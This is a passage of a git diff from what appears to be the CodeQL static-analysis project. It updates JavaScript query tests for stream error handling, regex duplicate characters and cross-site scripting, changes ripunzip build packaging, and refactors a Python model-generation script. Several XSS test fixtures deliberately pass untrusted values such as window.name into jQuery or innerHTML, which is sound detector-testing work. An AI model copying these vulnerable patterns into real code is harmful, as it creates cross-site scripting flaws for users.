require('gulp-plumber'); + const p = plumber(); + getStream().pipe(p); + } + { + const plumber = require('gulp-plumber'); + const p = plumber(); + getStream().pipe(p).pipe(dest); + } + { + const notStream = getNotAStream(); + notStream.pipe(getStream(),()=>{}); + } +} diff --git a/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/tst.js b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/tst.js new file mode 100644 index 00000000000..46bf969255f --- /dev/null +++ b/javascript/ql/test/query-tests/Quality/UnhandledErrorInStreamPipeline/tst.js @@ -0,0 +1,113 @@ +const fs = require('fs'); +const zlib = require('zlib'); + +function foo(){ + const source = fs.createReadStream('input.txt'); + const gzip = zlib.createGzip(); + const destination = fs.createWriteStream('output.txt.gz'); + source.pipe(gzip).pipe(destination); // $Alert + gzip.on('error', e); +} +class StreamWrapper { + constructor() { + this.outputStream = getStream(); + } +} + +function zip() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + let stream = wrapper.outputStream; + stream.on('error', e); + stream.pipe(zipStream); + zipStream.on('error', e); +} + +function zip1() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + wrapper.outputStream.pipe(zipStream); + wrapper.outputStream.on('error', e); + zipStream.on('error', e); +} + +function zip2() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + let outStream = wrapper.outputStream.pipe(zipStream); // $Alert + outStream.on('error', e); +} + +function zip3() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + wrapper.outputStream.pipe(zipStream); // $Alert + zipStream.on('error', e); +} + +function zip3() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper(); + let source = getStream(); + source.pipe(wrapper.outputStream); // $Alert + wrapper.outputStream.on('error', e); +} + +function zip4() { + const zipStream = createWriteStream(zipPath); + let stream = getStream(); + let output = stream.pipe(zipStream); // $Alert + output.on('error', e); +} + +class StreamWrapper2 { + constructor() { + this.outputStream = getStream(); + this.outputStream.on('error', e); + } + +} +function zip5() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper2(); + wrapper.outputStream.pipe(zipStream); + zipStream.on('error', e); +} + +class StreamWrapper3 { + constructor() { + this.stream = getStream(); + } + pipeIt(dest) { + return this.stream.pipe(dest); + } + register_error_handler(listener) { + return this.stream.on('error', listener); + } +} + +function zip5() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper3(); + wrapper.pipeIt(zipStream); // $MISSING:Alert + zipStream.on('error', e); +} +function zip6() { + const zipStream = createWriteStream(zipPath); + let wrapper = new StreamWrapper3(); + wrapper.pipeIt(zipStream); + wrapper.register_error_handler(e); + zipStream.on('error', e); +} + +function registerErr(stream, listerner) { + stream.on('error', listerner); +} + +function zip7() { + const zipStream = createWriteStream(zipPath); + let stream = getStream(); + registerErr(stream, e); + stream.pipe(zipStream); // $SPURIOUS:Alert + zipStream.on('error', e); +} diff --git a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/DuplicateCharacterInCharacterClass.expected b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/DuplicateCharacterInCharacterClass.expected index 1857b9cc4df..96f2cf20fd9 100644 --- a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/DuplicateCharacterInCharacterClass.expected +++ b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/DuplicateCharacterInCharacterClass.expected @@ -7,3 +7,39 @@ | tst.js:8:3:8:3 | a | Character 'a' is $@. | tst.js:8:5:8:5 | a | repeated in the same character class | | tst.js:9:3:9:6 | \\x0a | Character '\\x0a' is $@. | tst.js:9:7:9:10 | \\x0a | repeated in the same character class | | tst.js:10:3:10:8 | \\u000a | Character '\\u000a' is $@. | tst.js:10:9:10:10 | \\n | repeated in the same character class | +| tst.js:15:4:15:4 | \| | Character '\|' is $@. | tst.js:15:6:15:6 | \| | repeated in the same character class | +| tst.js:16:3:16:3 | : | Character ':' is $@. | tst.js:16:9:16:9 | : | repeated in the same character class | +| tst.js:17:4:17:4 | ^ | Character '^' is $@. | tst.js:17:11:17:11 | ^ | repeated in the same character class | +| tst.js:17:5:17:5 | s | Character 's' is $@. | tst.js:17:12:17:12 | s | repeated in the same character class | +| tst.js:17:6:17:6 | t | Character 't' is $@. | tst.js:17:13:17:13 | t | repeated in the same character class | +| tst.js:17:6:17:6 | t | Character 't' is $@. | tst.js:17:15:17:15 | t | repeated in the same character class | +| tst.js:17:6:17:6 | t | Character 't' is $@. | tst.js:17:19:17:19 | t | repeated in the same character class | +| tst.js:17:7:17:7 | y | Character 'y' is $@. | tst.js:17:20:17:20 | y | repeated in the same character class | +| tst.js:17:8:17:8 | l | Character 'l' is $@. | tst.js:17:21:17:21 | l | repeated in the same character class | +| tst.js:17:9:17:9 | e | Character 'e' is $@. | tst.js:17:22:17:22 | e | repeated in the same character class | +| tst.js:18:3:18:3 | . | Character '.' is $@. | tst.js:18:5:18:5 | . | repeated in the same character class | +| tst.js:19:6:19:6 | \u0645 | Character '\u0645' is $@. | tst.js:19:8:19:8 | \u0645 | repeated in the same character class | +| tst.js:22:3:22:4 | \\p | Character '\\p' is $@. | tst.js:22:15:22:16 | \\p | repeated in the same character class | +| tst.js:22:5:22:5 | { | Character '{' is $@. | tst.js:22:17:22:17 | { | repeated in the same character class | +| tst.js:22:7:22:7 | e | Character 'e' is $@. | tst.js:22:10:22:10 | e | repeated in the same character class | +| tst.js:22:8:22:8 | t | Character 't' is $@. | tst.js:22:9:22:9 | t | repeated in the same character class | +| tst.js:22:12:22:12 | } | Character '}' is $@. | tst.js:22:23:22:23 | } | repeated in the same character class | +| tst.js:22:13:22:13 | & | Character '&' is $@. | tst.js:22:14:22:14 | & | repeated in the same character class | +| tst.js:22:21:22:21 | I | Character 'I' is $@. | tst.js:22:22:22:22 | I | repeated in the same character class | +| tst.js:26:3:26:4 | \\p | Character '\\p' is $@. | tst.js:26:13:26:14 | \\p | repeated in the same character class | +| tst.js:26:5:26:5 | { | Character '{' is $@. | tst.js:26:15:26:15 | { | repeated in the same character class | +| tst.js:26:7:26:7 | e | Character 'e' is $@. | tst.js:26:10:26:10 | e | repeated in the same character class | +| tst.js:26:7:26:7 | e | Character 'e' is $@. | tst.js:26:17:26:17 | e | repeated in the same character class | +| tst.js:26:7:26:7 | e | Character 'e' is $@. | tst.js:26:28:26:28 | e | repeated in the same character class | +| tst.js:26:8:26:8 | t | Character 't' is $@. | tst.js:26:9:26:9 | t | repeated in the same character class | +| tst.js:26:11:26:11 | r | Character 'r' is $@. | tst.js:26:29:26:29 | r | repeated in the same character class | +| tst.js:26:12:26:12 | } | Character '}' is $@. | tst.js:26:30:26:30 | } | repeated in the same character class | +| tst.js:26:20:26:20 | m | Character 'm' is $@. | tst.js:26:26:26:26 | m | repeated in the same character class | +| tst.js:28:3:28:3 | / | Character '/' is $@. | tst.js:28:5:28:5 | / | repeated in the same character class | +| tst.js:30:4:30:4 | ^ | Character '^' is $@. | tst.js:30:5:30:5 | ^ | repeated in the same character class | +| tst.js:31:4:31:4 | * | Character '*' is $@. | tst.js:31:5:31:5 | * | repeated in the same character class | +| tst.js:33:5:33:5 | \| | Character '\|' is $@. | tst.js:33:6:33:7 | \\\| | repeated in the same character class | +| tst_replace.js:3:26:3:26 | n | Character 'n' is $@. | tst_replace.js:3:28:3:28 | n | repeated in the same character class | +| tst_replace.js:11:18:11:18 | n | Character 'n' is $@. | tst_replace.js:11:20:11:20 | n | repeated in the same character class | +| tst_replace.js:25:18:25:18 | n | Character 'n' is $@. | tst_replace.js:25:20:25:20 | n | repeated in the same character class | +| tst_replace.js:42:18:42:18 | n | Character 'n' is $@. | tst_replace.js:42:20:42:20 | n | repeated in the same character class | diff --git a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js index c87c7140a16..fe291137c8a 100644 --- a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js +++ b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst.js @@ -3,12 +3,31 @@ /[\uDC3A\uDC3C]/; /[??]/; // $ Alert /[\u003F\u003f]/; // $ Alert -/[\u003F?]/; // $ Alert +/[\u003F?]/; // $ Alert -- \u003F evaluates to ?, which is the same as ? in the character class /[\x3f\u003f]/; // $ Alert /[aaa]/; // $ Alert /[\x0a\x0a]/; // $ Alert -/[\u000a\n]/; // $ Alert +/[\u000a\n]/; // $ Alert -- \u000a evaluates to \n, which is the same as \n in the character class /[\u{ff}]/; /[\u{12340}-\u{12345}]/u; new RegExp("[\u{12340}-\u{12345}]", "u"); const regex = /\b(?:https?:\/\/|mailto:|www\.)(?:[\S--[\p{P}<>]]|\/|[\S--[\[\]]]+[\S--[\p{P}<>]])+|\b[\S--[@\p{Ps}\p{Pe}<>]]+@([\S--[\p{P}<>]]+(?:\.[\S--[\p{P}<>]]+)+)/gmv; +/[a|b|c]/; // $ Alert -- Repeated | character in character class, which has no special meaning in this context +/[:alnum:]/; // $ Alert -- JavaScript does not support POSIX character classes like `[:alnum:]` in regular expressions, thus characters in the class are treated as literals +/[(^style|^staticStyle)]/; // $ Alert +/[.x.]/i; // $ Alert -- Repeated . character in character class +/^[يفمأمسند]/i; // $ Alert -- م duplicate +/[\u{1F600}-\u{1F64F}]/u; +/[\p{Letter}&&\p{ASCII}]/v; // && is an intersection operator while /v flag is present +/[\p{Letter}&&\p{ASCII}]/; // $ Alert -- without /v flag, && is not a valid operator and treated as member of character class thus duplicate +/[\p{Decimal_Number}&&[0-9A-F]]/v; +/[\p{Letter}--[aeiouAEIOU]]/v; +/[\p{Letter}\p{Decimal_Number}]/v; // Union operation between two character classes only with /v flag +/[\p{Letter}\p{Decimal_Number}]/; // $ Alert -- without /v flag, this is not a valid operation and treated as member of character class thus duplicate +/[\[\]]/; +/[/[/]]/; // $ Alert +/[^^abc]/; // First `^` is a negation operator, second treated as literal `^` is a member of character class +/[^^^abc]/; // $ Alert -- Second and third `^` are treated as literals thus duplicates +/[^**]/; // $ Alert +/[-a-z]/; // Matches `-` and range `a-z` no duplicate +/^[:|\|]/ // $ Alert -- `|` is treated as a literal character in the character class, thus duplicate even with escape character diff --git a/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst_replace.js b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst_replace.js new file mode 100644 index 00000000000..afd526007b0 --- /dev/null +++ b/javascript/ql/test/query-tests/RegExp/DuplicateCharacterInCharacterClass/tst_replace.js @@ -0,0 +1,44 @@ +function reg(){ + const nonIdPattern = 'a-z'; + const basePattern = /[]/.source; // $ SPURIOUS:Alert + const finalPattern = basePattern.replace(//g, nonIdPattern); + console.log(finalPattern); + const regex2 = new RegExp(finalPattern); +} + +function reg1(){ + const nonIdPattern = 'a-z'; + const reg = /[]/; // $ SPURIOUS:Alert + const basePattern = reg.source; + const finalPattern = basePattern.replace(//g, nonIdPattern); + console.log(finalPattern); + const regex2 = new RegExp(finalPattern); +} + +function replacer(reg1, reg2){ + const basePattern = reg1.source; + const finalPattern = basePattern.replace(//g, reg2); + return new RegExp(finalPattern); +} +function reg2(){ + const nonIdPattern = 'a-z'; + const reg = /[]/; // $ SPURIOUS:Alert + replacer(reg, nonIdPattern); +} + + +function replacer3(str, reg2){ + const finalPattern = str.replace(//g, reg2); + return new RegExp(finalPattern); +} + +function replacer2(reg1, reg2){ + const basePattern = reg1.source; + return replacer3(basePattern, reg2); +} + +function reg3(){ + const nonIdPattern = 'a-z'; + const reg = /[]/; // $ SPURIOUS:Alert + replacer2(reg, nonIdPattern); +} diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected index 6ba8ab703bf..0f565949211 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/Xss.expected @@ -62,6 +62,8 @@ | dragAndDrop.ts:73:29:73:39 | droppedHtml | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | dragAndDrop.ts:73:29:73:39 | droppedHtml | Cross-site scripting vulnerability due to $@. | dragAndDrop.ts:71:27:71:61 | e.dataT ... /html') | user-provided value | | event-handler-receiver.js:2:31:2:83 | '

    ' | event-handler-receiver.js:2:49:2:61 | location.href | event-handler-receiver.js:2:31:2:83 | '

    ' | Cross-site scripting vulnerability due to $@. | event-handler-receiver.js:2:49:2:61 | location.href | user-provided value | | express.js:6:15:6:33 | req.param("wobble") | express.js:6:15:6:33 | req.param("wobble") | express.js:6:15:6:33 | req.param("wobble") | Cross-site scripting vulnerability due to $@. | express.js:6:15:6:33 | req.param("wobble") | user-provided value | +| jquery-declare-any.ts:6:7:6:17 | window.name | jquery-declare-any.ts:6:7:6:17 | window.name | jquery-declare-any.ts:6:7:6:17 | window.name | Cross-site scripting vulnerability due to $@. | jquery-declare-any.ts:6:7:6:17 | window.name | user-provided value | +| jquery-declare-type.ts:6:7:6:17 | window.name | jquery-declare-type.ts:6:7:6:17 | window.name | jquery-declare-type.ts:6:7:6:17 | window.name | Cross-site scripting vulnerability due to $@. | jquery-declare-type.ts:6:7:6:17 | window.name | user-provided value | | jquery.js:7:5:7:34 | "
    " | jquery.js:2:17:2:40 | documen ... .search | jquery.js:7:5:7:34 | "
    " | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value | | jquery.js:8:18:8:34 | "XSS: " + tainted | jquery.js:2:17:2:40 | documen ... .search | jquery.js:8:18:8:34 | "XSS: " + tainted | Cross-site scripting vulnerability due to $@. | jquery.js:2:17:2:40 | documen ... .search | user-provided value | | jquery.js:10:5:10:40 | "" + ... "" | jquery.js:10:13:10:20 | location | jquery.js:10:5:10:40 | "" + ... "" | Cross-site scripting vulnerability due to $@. | jquery.js:10:13:10:20 | location | user-provided value | @@ -954,6 +956,8 @@ nodes | event-handler-receiver.js:2:31:2:83 | '

    ' | semmle.label | '

    ' | | event-handler-receiver.js:2:49:2:61 | location.href | semmle.label | location.href | | express.js:6:15:6:33 | req.param("wobble") | semmle.label | req.param("wobble") | +| jquery-declare-any.ts:6:7:6:17 | window.name | semmle.label | window.name | +| jquery-declare-type.ts:6:7:6:17 | window.name | semmle.label | window.name | | jquery.js:2:7:2:40 | tainted | semmle.label | tainted | | jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search | | jquery.js:4:5:4:11 | tainted | semmle.label | tainted | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected index 0ed15b8d92a..c031b7c1810 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/XssWithAdditionalSources.expected @@ -182,6 +182,8 @@ nodes | hana.js:85:35:85:54 | tableRows[0].comment | semmle.label | tableRows[0].comment | | hana.js:90:33:90:34 | rs | semmle.label | rs | | hana.js:90:33:90:45 | rs[0].comment | semmle.label | rs[0].comment | +| jquery-declare-any.ts:6:7:6:17 | window.name | semmle.label | window.name | +| jquery-declare-type.ts:6:7:6:17 | window.name | semmle.label | window.name | | jquery.js:2:7:2:40 | tainted | semmle.label | tainted | | jquery.js:2:17:2:40 | documen ... .search | semmle.label | documen ... .search | | jquery.js:4:5:4:11 | tainted | semmle.label | tainted | diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-any.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-any.ts new file mode 100644 index 00000000000..df8267bba30 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-any.ts @@ -0,0 +1,7 @@ +import 'dummy'; + +declare var $: any; + +function t() { + $(window.name); // $ Alert +} diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-type.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-type.ts new file mode 100644 index 00000000000..c866f71a1eb --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-type.ts @@ -0,0 +1,7 @@ +import 'dummy'; + +declare var $: JQueryStatic; + +function t() { + $(window.name); // $ Alert +} diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.expected b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.expected index 499cf6cce49..4f757d1a931 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.expected +++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/UnsafeHtmlConstruction.expected @@ -22,7 +22,6 @@ | main.js:111:37:111:37 | x | main.js:98:43:98:43 | x | main.js:111:37:111:37 | x | This markdown rendering which depends on $@ might later allow $@. | main.js:98:43:98:43 | x | library input | main.js:112:24:112:26 | svg | cross-site scripting | | main.js:117:34:117:34 | s | main.js:116:47:116:47 | s | main.js:117:34:117:34 | s | This markdown rendering which depends on $@ might later allow $@. | main.js:116:47:116:47 | s | library input | main.js:118:53:118:56 | html | cross-site scripting | | typed.ts:2:29:2:29 | s | typed.ts:1:39:1:39 | s | typed.ts:2:29:2:29 | s | This HTML construction which depends on $@ might later allow $@. | typed.ts:1:39:1:39 | s | library input | typed.ts:3:31:3:34 | html | cross-site scripting | -| typed.ts:8:40:8:40 | s | typed.ts:6:43:6:43 | s | typed.ts:8:40:8:40 | s | This HTML construction which depends on $@ might later allow $@. | typed.ts:6:43:6:43 | s | library input | typed.ts:8:29:8:52 | " ... /span>" | cross-site scripting | edges | jquery-plugin.js:11:27:11:31 | stuff | jquery-plugin.js:14:31:14:35 | stuff | provenance | | | jquery-plugin.js:11:34:11:40 | options | jquery-plugin.js:12:31:12:37 | options | provenance | | @@ -69,7 +68,6 @@ edges | main.js:98:43:98:43 | x | main.js:111:37:111:37 | x | provenance | | | main.js:116:47:116:47 | s | main.js:117:34:117:34 | s | provenance | | | typed.ts:1:39:1:39 | s | typed.ts:2:29:2:29 | s | provenance | | -| typed.ts:6:43:6:43 | s | typed.ts:8:40:8:40 | s | provenance | | nodes | jquery-plugin.js:11:27:11:31 | stuff | semmle.label | stuff | | jquery-plugin.js:11:34:11:40 | options | semmle.label | options | @@ -128,6 +126,4 @@ nodes | main.js:117:34:117:34 | s | semmle.label | s | | typed.ts:1:39:1:39 | s | semmle.label | s | | typed.ts:2:29:2:29 | s | semmle.label | s | -| typed.ts:6:43:6:43 | s | semmle.label | s | -| typed.ts:8:40:8:40 | s | semmle.label | s | subpaths diff --git a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/typed.ts b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/typed.ts index 1c50460050c..8c166fb243f 100644 --- a/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/typed.ts +++ b/javascript/ql/test/query-tests/Security/CWE-079/UnsafeHtmlConstruction/typed.ts @@ -3,9 +3,9 @@ export function basicHtmlConstruction(s: string) { // $ Source document.body.innerHTML = html; } -export function insertIntoCreatedDocument(s: string) { // $ Source +export function insertIntoCreatedDocument(s: string) { const newDoc = document.implementation.createHTMLDocument(""); - newDoc.body.innerHTML = "" + s + ""; // $ SPURIOUS: Alert - inserted into document disconnected from the main DOM. + newDoc.body.innerHTML = "" + s + ""; // OK - inserted into document disconnected from the main DOM. } export function id(s: string) { @@ -17,4 +17,3 @@ export function notVulnerable() { const html = "" + s + ""; document.body.innerHTML = html; } - \ No newline at end of file diff --git a/javascript/ql/test/query-tests/definitions/definitions.expected b/javascript/ql/test/query-tests/definitions/definitions.expected index 081db47c3fa..cb91ac6e37c 100644 --- a/javascript/ql/test/query-tests/definitions/definitions.expected +++ b/javascript/ql/test/query-tests/definitions/definitions.expected @@ -1,36 +1,36 @@ | b.js:3:3:3:3 | x | b.js:2:7:2:7 | x | V | -| b.js:7:1:7:1 | f | b.js:1:1:5:1 | functio ... ar x;\\n} | M | -| b.js:8:1:8:1 | g | a.js:2:1:2:15 | function g() {} | M | +| b.js:7:1:7:1 | f | b.js:1:10:1:10 | f | M | +| b.js:8:1:8:1 | g | a.js:2:10:2:10 | g | M | | client.ts:1:22:1:30 | "./tslib" | tslib.ts:1:1:10:0 | | I | -| client.ts:7:19:7:19 | C | tslib.ts:1:8:3:1 | class C {\\n m() {}\\n} | T | -| client.ts:8:10:8:10 | C | client.ts:3:1:5:1 | class C {\\n m() {}\\n} | T | -| client.ts:9:16:9:16 | C | client.ts:3:1:5:1 | class C {\\n m() {}\\n} | T | -| client.ts:10:16:10:16 | C | tslib.ts:6:10:8:3 | class C ... {}\\n } | T | -| client.ts:13:25:13:25 | C | client.ts:3:1:5:1 | class C {\\n m() {}\\n} | T | -| client.ts:13:35:13:35 | C | tslib.ts:1:8:3:1 | class C {\\n m() {}\\n} | T | -| client.ts:13:47:13:47 | C | tslib.ts:6:10:8:3 | class C ... {}\\n } | T | +| client.ts:7:19:7:19 | C | tslib.ts:1:14:1:14 | C | T | +| client.ts:8:10:8:10 | C | client.ts:3:7:3:7 | C | T | +| client.ts:9:16:9:16 | C | client.ts:3:7:3:7 | C | T | +| client.ts:10:16:10:16 | C | tslib.ts:6:16:6:16 | C | T | +| client.ts:13:25:13:25 | C | client.ts:3:7:3:7 | C | T | +| client.ts:13:35:13:35 | C | tslib.ts:1:14:1:14 | C | T | +| client.ts:13:47:13:47 | C | tslib.ts:6:16:6:16 | C | T | | client.ts:14:3:14:3 | x | client.ts:13:22:13:22 | x | V | -| client.ts:14:5:14:5 | m | client.ts:4:3:4:8 | m() {} | M | +| client.ts:14:5:14:5 | m | client.ts:4:3:4:3 | m | M | | client.ts:15:3:15:3 | y | client.ts:13:28:13:28 | y | V | -| client.ts:15:5:15:5 | m | tslib.ts:2:3:2:8 | m() {} | M | +| client.ts:15:5:15:5 | m | tslib.ts:2:3:2:3 | m | M | | client.ts:16:3:16:3 | z | client.ts:13:38:13:38 | z | V | -| client.ts:16:5:16:5 | m | tslib.ts:7:5:7:10 | m() {} | M | +| client.ts:16:5:16:5 | m | tslib.ts:7:5:7:5 | m | M | | d.js:1:17:1:21 | './c' | c.js:1:1:1:20 | | I | -| d.js:10:1:10:1 | A | d.js:7:1:9:1 | functio ... = 42;\\n} | V | -| d.js:16:19:16:23 | Super | d.js:12:1:14:1 | class S ... () {}\\n} | V | +| d.js:10:1:10:1 | A | d.js:7:10:7:10 | A | V | +| d.js:16:19:16:23 | Super | d.js:12:7:12:11 | Super | V | | d.js:16:25:16:24 | args | d.js:16:25:16:24 | args | V | | d.js:20:1:20:1 | o | d.js:3:9:5:1 | {\\n f: ... () {}\\n} | V | | d.js:20:3:20:3 | f | d.js:4:3:4:18 | f: function() {} | M | -| d.js:22:13:22:13 | A | d.js:7:1:9:1 | functio ... = 42;\\n} | M | +| d.js:22:13:22:13 | A | d.js:7:10:7:10 | A | M | | d.js:23:1:23:1 | a | d.js:22:5:22:5 | a | V | | d.js:23:3:23:3 | x | d.js:8:3:8:8 | this.x | M | | d.js:24:1:24:1 | a | d.js:22:5:22:5 | a | V | | d.js:24:3:24:3 | g | d.js:10:1:10:13 | A.prototype.g | M | -| d.js:26:13:26:15 | Sub | d.js:16:1:18:1 | class S ... () {}\\n} | M | +| d.js:26:13:26:15 | Sub | d.js:16:7:16:9 | Sub | M | | d.js:27:1:27:1 | x | d.js:26:5:26:5 | x | V | | d.js:27:3:27:3 | m | d.js:13:3:13:3 | m | M | | d.js:28:1:28:1 | x | d.js:26:5:26:5 | x | V | | d.js:28:3:28:3 | n | d.js:17:3:17:3 | n | M | | tst.js:1:19:1:23 | './m' | m.js:1:1:2:0 | | I | -| tst.js:3:5:3:5 | A | m.js:1:8:1:17 | class A {} | M | +| tst.js:3:5:3:5 | A | m.js:1:14:1:14 | A | M | | tst.js:5:15:5:19 | './m' | m.js:1:1:2:0 | | I | diff --git a/misc/ripunzip/BUILD.bazel b/misc/ripunzip/BUILD.bazel index 6575b692772..fb33124f3b2 100644 --- a/misc/ripunzip/BUILD.bazel +++ b/misc/ripunzip/BUILD.bazel @@ -2,7 +2,7 @@ load("@rules_shell//shell:sh_binary.bzl", "sh_binary") alias( name = "ripunzip", - actual = select({"@platforms//os:" + os: "@ripunzip-" + os for os in ("linux", "windows", "macos")}), + actual = select({"@platforms//os:" + os: "@ripunzip-%s//:ripunzip" % os for os in ("linux", "windows", "macos")}), visibility = ["//visibility:public"], ) diff --git a/misc/ripunzip/BUILD.ripunzip.bazel b/misc/ripunzip/BUILD.ripunzip.bazel new file mode 100644 index 00000000000..e2832d1e275 --- /dev/null +++ b/misc/ripunzip/BUILD.ripunzip.bazel @@ -0,0 +1,11 @@ +load("@bazel_skylib//rules:native_binary.bzl", "native_binary") + +native_binary( + name = "ripunzip", + src = glob(["ripunzip-*"])[0], + out = "ripunzip" + select({ + "@platforms//os:windows": ".exe", + "//conditions:default": "", + }), + visibility = ["//visibility:public"], +) diff --git a/misc/ripunzip/ripunzip-Linux.zip b/misc/ripunzip/ripunzip-Linux.zip new file mode 100644 index 00000000000..d5535b1f17f --- /dev/null +++ b/misc/ripunzip/ripunzip-Linux.zip @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:411e5578af004e7be449b6945d50b0984efc3308fe42a0b5c9e82d4be38425e1 +size 4888352 diff --git a/misc/ripunzip/ripunzip-Windows.zip b/misc/ripunzip/ripunzip-Windows.zip new file mode 100644 index 00000000000..7ef76bfbb0d --- /dev/null +++ b/misc/ripunzip/ripunzip-Windows.zip @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0c0bfe3d9c8a2236ecdb574839e83d54c50a019656d26d4d870e8ca26be083dd +size 1860383 diff --git a/misc/ripunzip/ripunzip-linux b/misc/ripunzip/ripunzip-linux deleted file mode 100755 index 35606389460..00000000000 --- a/misc/ripunzip/ripunzip-linux +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:b5e444b6efcb11e899ff932dc5846927dd78578d0889386d82aa21133e077fde -size 12423064 diff --git a/misc/ripunzip/ripunzip-macOS.zip b/misc/ripunzip/ripunzip-macOS.zip new file mode 100644 index 00000000000..c47a54d2c07 --- /dev/null +++ b/misc/ripunzip/ripunzip-macOS.zip @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a1edacc510b44d35f926e7a682ea8efc1a7f28028cacf31f432e5b4b409a2d2b +size 4140891 diff --git a/misc/ripunzip/ripunzip-macos b/misc/ripunzip/ripunzip-macos deleted file mode 100755 index d80eeea0667..00000000000 --- a/misc/ripunzip/ripunzip-macos +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:e8ff604d47ec88c4a795d307dee9454771589e8bd0b9747c6f49d2a59081f829 -size 10632454 diff --git a/misc/ripunzip/ripunzip-windows.exe b/misc/ripunzip/ripunzip-windows.exe deleted file mode 100755 index 44727f650db..00000000000 --- a/misc/ripunzip/ripunzip-windows.exe +++ /dev/null @@ -1,3 +0,0 @@ -version https://git-lfs.github.com/spec/v1 -oid sha256:6e6b68c668a84d1232335524f9ca15dff61f7365ec16d57caa9763fda145f33d -size 4548096 diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py old mode 100644 new mode 100755 index 22a872dc2bf..dfccf087803 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -1,3 +1,4 @@ +#!/usr/bin/env python3 """ Experimental script for bulk generation of MaD models based on a list of projects. @@ -7,15 +8,31 @@ Note: This file must be formatted using the Black Python formatter. import os.path import subprocess import sys -from typing import NotRequired, TypedDict, List +from typing import Required, TypedDict, List, Callable, Optional from concurrent.futures import ThreadPoolExecutor, as_completed import time import argparse -import json -import requests import zipfile import tarfile -from functools import cmp_to_key +import shutil + + +def missing_module(module_name: str) -> None: + print( + f"ERROR: {module_name} is not installed. Please install it with 'pip install {module_name}'." + ) + sys.exit(1) + + +try: + import yaml +except ImportError: + missing_module("pyyaml") + +try: + import requests +except ImportError: + missing_module("requests") import generate_mad as mad @@ -28,22 +45,18 @@ build_dir = os.path.join(gitroot, "mad-generation-build") # A project to generate models for -class Project(TypedDict): - """ - Type definition for projects (acquired via a GitHub repo) to model. - - Attributes: - name: The name of the project - git_repo: URL to the git repository - git_tag: Optional Git tag to check out - """ - - name: str - git_repo: NotRequired[str] - git_tag: NotRequired[str] - with_sinks: NotRequired[bool] - with_sinks: NotRequired[bool] - with_summaries: NotRequired[bool] +Project = TypedDict( + "Project", + { + "name": Required[str], + "git-repo": str, + "git-tag": str, + "with-sinks": bool, + "with-sources": bool, + "with-summaries": bool, + }, + total=False, +) def should_generate_sinks(project: Project) -> bool: @@ -63,14 +76,14 @@ def clone_project(project: Project) -> str: Shallow clone a project into the build directory. Args: - project: A dictionary containing project information with 'name', 'git_repo', and optional 'git_tag' keys. + project: A dictionary containing project information with 'name', 'git-repo', and optional 'git-tag' keys. Returns: The path to the cloned project directory. """ name = project["name"] - repo_url = project["git_repo"] - git_tag = project.get("git_tag") + repo_url = project["git-repo"] + 